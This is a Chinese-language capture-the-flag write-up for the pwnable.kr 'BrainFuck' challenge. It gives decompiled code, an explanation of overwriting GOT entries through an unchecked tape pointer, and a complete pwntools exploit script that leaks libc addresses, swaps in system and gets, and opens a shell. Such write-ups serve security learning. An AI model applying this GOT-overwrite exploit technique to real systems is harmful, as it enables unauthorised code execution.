[Pwnable.kr] BrainFuck
第二部分的第一题,150分(比第一部分总和还高……),F5整理一下代码还是很容易看懂的:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@4
int v4; // edx@4
size_t i; // [esp+28h] [ebp-40Ch]@1
int v6; // [esp+2Ch] [ebp-408h]@1
int v7; // [esp+42Ch] [ebp-8h]@1
v7 = *MK_FP(__GS__, 20);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
p = (int)&tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ ]");
memset(&v6, 0, 0x400u);
fgets((char *)&v6, 1024, stdin);
for ( i = 0; i < strlen((const char *)&v6); ++i )
do_brainfuck(*((_BYTE *)&v6 + i));
result = 0;
v4 = *MK_FP(__GS__, 20) ^ v7;
return result;
}
int __cdecl do_brainfuck(char a1)
{
int result; // eax@1
_BYTE *v2; // ebx@7
result = a1;
switch ( a1 )
{
case 43:
result = p;
++*(_BYTE *)p;
break;
case 44:
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;
case 45:
result = p;
--*(_BYTE *)p;
break;
case 46:
result = putchar(*(char *)p);
break;
case 60:
result = p-- - 1;
break;
case 62:
result = p++ + 1;
break;
case 91:
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}
case里的部分用字符替换一下,大概意思就是p是一个字符指针,用”<“、”>“控制指针位置,”,”表示写入,”.”显示该位置的值,想办法exploit。
这里p的初始位置是&tape,从ida中可以看到:


我们就知道了p的初始位置是0x0804a0a0。
引用外部库函数需要通过plt表来定位其在动态链接库里的相对位置(关处于got表和plt表网上有介绍,此略过),我们可以在ida中找到.plt.got段,里面包含了我们要使用的libc的函数及地址。

所以我们只需要通过相对位置修改plt表,就可以控制调用其他的函数。替换哪个比较好呢?![]()
看这两行,如果memset变成了gets,fgets变成了system,不是正好?v6恰好也是一个字符数组。
但是我们修改plt的过程是发生在这两句之后的,如何再重新执行这两条命令呢?
我们只需要把putchar的plt表值改写成main函数的地址即可,这样在下次调用”.”命令的时候,会调用putchar,就直接跳转到main函数入口了
poc:
from pwn import *
libc = ELF("./bf_libc.so")
p = remote("pwnable.kr", 9001)
p.recvline_startswith("type")
# move to .got.plt.fgets
payload = '<'*(0x0804A0A0-0x0804A010)
# print .got.plt.fgets
payload += '.>'*4
# move back and write system
payload += '<'*4 + ',>'*4
# move to .got.plt.memset
payload += '<'*4 + '>'*(0x0804A02C-0x0804A010)
# write gets
payload += ',>'*4
# move to putchar -- already here
# write main
payload += ',>'*4
# execute '.'
payload += '.'
p.sendline(payload)
addr_fgets = p.recvn(4)[::-1].encode('hex')
addr_system = int(addr_fgets, 16) - libc.symbols['fgets'] + libc.symbols['system']
addr_gets = int(addr_fgets, 16) - libc.symbols['fgets'] + libc.symbols['gets']
p.send(struct.pack('I', addr_system))
p.send(struct.pack('I', addr_gets))
p.send(struct.pack('I', 0x08048671))
p.sendline('/bin/sh')
p.interactive()
1 thought on “[Pwnable.kr] BrainFuck”